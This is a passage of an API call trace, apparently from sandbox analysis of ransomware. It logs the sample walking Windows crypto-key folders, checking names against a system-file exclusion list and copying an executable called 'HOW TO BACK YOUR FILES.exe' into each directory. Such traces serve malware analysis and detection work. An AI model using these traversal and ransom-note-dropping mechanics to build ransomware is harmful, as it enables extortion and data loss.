	[0051.251] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.251] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.251] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.251] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.251] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.251] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.251] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.251] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.251] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.251] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.251] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.251] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
	[0051.251] lstrcmpiW (lpString1="DSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.251] lstrcmpiW (lpString1="DSS", lpString2="Apollon865.txt.exe") returned 1
	[0051.251] lstrcmpiW (lpString1="DSS", lpString2=".") returned 1
	[0051.251] lstrcmpiW (lpString1="DSS", lpString2="..") returned 1
	[0051.251] lstrcmpiW (lpString1="DSS", lpString2="windows") returned -1
	[0051.251] lstrcmpiW (lpString1="DSS", lpString2="bootmgr") returned 1
	[0051.251] lstrcmpiW (lpString1="DSS", lpString2="temp") returned -1
	[0051.252] lstrcmpiW (lpString1="DSS", lpString2="pagefile.sys") returned -1
	[0051.252] lstrcmpiW (lpString1="DSS", lpString2="boot") returned 1
	[0051.252] lstrcmpiW (lpString1="DSS", lpString2="ids.txt") returned -1
	[0051.252] lstrcmpiW (lpString1="DSS", lpString2="ntuser.dat") returned -1
	[0051.252] lstrcmpiW (lpString1="DSS", lpString2="perflogs") returned -1
	[0051.252] lstrcmpiW (lpString1="DSS", lpString2="MSBuild") returned -1
	[0051.252] lstrlenW (lpString="DSS") returned 3
	[0051.252] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\*") returned 33
	[0051.252] lstrcpyW (in: lpString1=0x2d3e590, lpString2="DSS" | out: lpString1="DSS") returned="DSS"
	[0051.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0051.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bded8
	[0051.252] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0051.252] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff72050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.252] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.252] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="Apollon865.txt.exe") returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2=".") returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="..") returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="windows") returned -1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="bootmgr") returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="temp") returned -1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="pagefile.sys") returned -1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="boot") returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="ids.txt") returned 1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="ntuser.dat") returned -1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="perflogs") returned -1
	[0051.252] lstrcmpiW (lpString1="Keys", lpString2="MSBuild") returned -1
	[0051.252] lstrlenW (lpString="Keys") returned 4
	[0051.252] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned 35
	[0051.252] lstrcpyW (in: lpString1=0x2d3e590, lpString2="Keys" | out: lpString1="Keys") returned="Keys"
	[0051.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0051.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bc9b8
	[0051.253] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0051.253] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="Apollon865.txt.exe") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2=".") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="..") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="windows") returned -1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="bootmgr") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="temp") returned -1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="pagefile.sys") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="boot") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="ids.txt") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="ntuser.dat") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="perflogs") returned 1
	[0051.253] lstrcmpiW (lpString1="RSA", lpString2="MSBuild") returned 1
	[0051.253] lstrlenW (lpString="RSA") returned 3
	[0051.253] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned 36
	[0051.253] lstrcpyW (in: lpString1=0x2d3e590, lpString2="RSA" | out: lpString1="RSA") returned="RSA"
	[0051.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0051.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf28
	[0051.253] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0051.253] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
	[0051.253] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.253] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0051.253] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0051.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0051.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0051.253] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 35
	[0051.253] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0051.254] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.254] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.254] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.254] GetLastError () returned 0x0
	[0051.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.254] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.254] CloseHandle (hObject=0x15c) returned 1
	[0051.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.254] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.254] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.255] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.255] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.255] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.255] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.255] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.255] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.255] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.255] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.255] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff72050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.255] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.255] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="Apollon865.txt.exe") returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="windows") returned -1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="bootmgr") returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="pagefile.sys") returned -1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="boot") returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="ids.txt") returned 1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="ntuser.dat") returned -1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="perflogs") returned -1
	[0051.255] lstrcmpiW (lpString1="MachineKeys", lpString2="MSBuild") returned -1
	[0051.255] lstrlenW (lpString="MachineKeys") returned 11
	[0051.255] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned 37
	[0051.255] lstrcpyW (in: lpString1=0x2d3e598, lpString2="MachineKeys" | out: lpString1="MachineKeys") returned="MachineKeys"
	[0051.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0051.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0051.255] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0051.255] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="Apollon865.txt.exe") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2=".") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="..") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="windows") returned -1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="bootmgr") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="temp") returned -1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="pagefile.sys") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="boot") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="ids.txt") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="ntuser.dat") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="perflogs") returned 1
	[0051.256] lstrcmpiW (lpString1="S-1-5-18", lpString2="MSBuild") returned 1
	[0051.256] lstrlenW (lpString="S-1-5-18") returned 8
	[0051.256] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 47
	[0051.256] lstrcpyW (in: lpString1=0x2d3e598, lpString2="S-1-5-18" | out: lpString1="S-1-5-18") returned="S-1-5-18"
	[0051.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0051.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5528
	[0051.256] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0051.256] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0051.256] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.256] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0051.256] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0051.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0051.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0051.256] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 44
	[0051.256] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0051.256] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.256] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.257] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.257] GetLastError () returned 0x0
	[0051.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.257] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.257] CloseHandle (hObject=0x15c) returned 1
	[0051.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.257] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.257] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.257] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.257] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.257] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.258] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.258] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.258] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.258] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.258] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Apollon865.txt.exe") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".") returned 1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="..") returned 1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="windows") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="bootmgr") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="temp") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="pagefile.sys") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="boot") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ids.txt") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ntuser.dat") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="perflogs") returned -1
	[0051.258] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="MSBuild") returned -1
